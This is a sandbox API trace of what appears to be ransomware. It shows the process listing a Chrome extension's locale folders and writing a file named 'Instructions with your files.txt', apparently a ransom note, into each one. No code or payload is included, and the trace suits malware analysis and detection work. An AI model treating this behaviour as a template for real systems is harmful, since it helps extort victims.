[0130.327] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.327] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.328] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.328] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.328] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.328] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.328] CloseHandle (hObject=0x134) returned 1
[0130.328] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.328] GetProcessHeap () returned 0x810000
[0130.328] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.329] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1
[0130.329] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te") returned 150
[0130.329] GetProcessHeap () returned 0x810000
[0130.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.329] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*") returned 152
[0130.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.330] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\.") returned 152
[0130.330] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.330] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\..") returned 153
[0130.330] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f0ef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5593, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.330] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json") returned 164
[0130.330] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.330] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f0ef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5593, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.330] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\Instructions with your files.txt") returned 183
[0130.330] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.339] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.340] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.340] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.340] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.340] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.340] CloseHandle (hObject=0x134) returned 1
[0130.340] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.340] GetProcessHeap () returned 0x810000
[0130.340] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.340] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0130.340] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th") returned 150
[0130.340] GetProcessHeap () returned 0x810000
[0130.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.340] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*") returned 152
[0130.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.340] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\.") returned 152
[0130.341] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.341] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\..") returned 153
[0130.341] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f8420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835fab30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.341] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json") returned 164
[0130.341] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.341] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f8420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835fab30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.341] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\Instructions with your files.txt") returned 183
[0130.341] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.341] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.342] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.342] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.342] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.342] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.342] CloseHandle (hObject=0x134) returned 1
[0130.343] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.343] GetProcessHeap () returned 0x810000
[0130.343] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.343] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0130.343] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr") returned 150
[0130.343] GetProcessHeap () returned 0x810000
[0130.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.343] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*") returned 152
[0130.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\.") returned 152
[0130.344] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\..") returned 153
[0130.344] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835ff950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83602060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json") returned 164
[0130.344] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.344] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835ff950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83602060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\Instructions with your files.txt") returned 183
[0130.344] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.344] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.345] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.345] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.345] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.345] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.346] CloseHandle (hObject=0x134) returned 1
[0130.346] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.346] GetProcessHeap () returned 0x810000
[0130.346] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.346] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0130.346] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk") returned 150
[0130.346] GetProcessHeap () returned 0x810000
[0130.346] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.346] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*") returned 152
